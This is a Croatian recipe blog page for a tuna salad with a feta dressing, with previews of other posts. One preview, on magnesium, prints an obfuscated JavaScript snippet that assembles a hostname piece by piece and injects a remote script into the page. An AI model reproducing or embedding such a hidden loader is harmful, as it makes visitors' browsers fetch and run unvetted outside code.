SALATA OD TUNE S PRELJEVOM OD FETA SIRA 🥗




Salata od tune s preljevom od feta sira 




Inspirirana okusima Mediterana, ova salata spaja tunu i puno povrća. a glavna je zvijezda preljev od fete, limuna i maslinobog ulja s kojim je sve - još bolje. 





Salata od tune s preljevom od feta sira 


Sastojci:

Za salatu

  • 180 g sitno nasjeckanog kovrčavog kelja
  • 2 srednje rajčice, narezane na kockice
  • 1 crvena paprika, narezana na sitne kockice
  • 1 manji krastavac, narezan na male komadiće
  • 30 g listova peršina, grubo nasjeckanih
  • 8 crvenih rotkvica, narezanih na sitno
  • 5 g maslina bez koštica, narezanih na četvrtine
  • 50 g kremaste fete
  • 425 g tune iz konzerve u maslinovu ulju, ocijeđene

Za preljev

  • 100 g kremaste fete
  • 45 ml svježe iscijeđenog limunovog soka
  • 60 ml ekstra djevičanskog maslinovog ulja
  • 1/2 manjeg češnja češnjaka
  • 1/2 čajne žličice soli
  • 1/4 čajne žličice svježe mljevenog crnog papra
  • 1 žlica vode (po potrebi)



Priprema: 

  1. U visoku posudu stavite fetu, limunov sok, maslinovo ulje, češnjak, sol i papar. Štapnim mikserom izmiksajte u glatki, kremasti preljev.
  2. Ako je dressing pregust, dodajte malo vode – po jednu čajnu žličicu odjednom – dok ne dobijete gustu, ali tekuću konzistenciju pogodnu za prelijevanje salate. Kušajte i po potrebi dodatno posolite.
  3. U veliku zdjelu stavite sitno nasjeckani kelj, rajčice zajedno s njihovim sokovima, papriku, krastavac, rotkvice, peršin i masline.
  4. Prelijte pripremljenim dressingom i dobro promiješajte kako bi se svi sastojci ravnomjerno obložili preljevom.
  5. Preko salate izmrvite 50 g fete i lagano promiješajte. Na kraju dodajte ocijeđenu tunu i pažljivo promiješajte.
  6. Poslužite uz topli pita kruh ili u sendviču.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više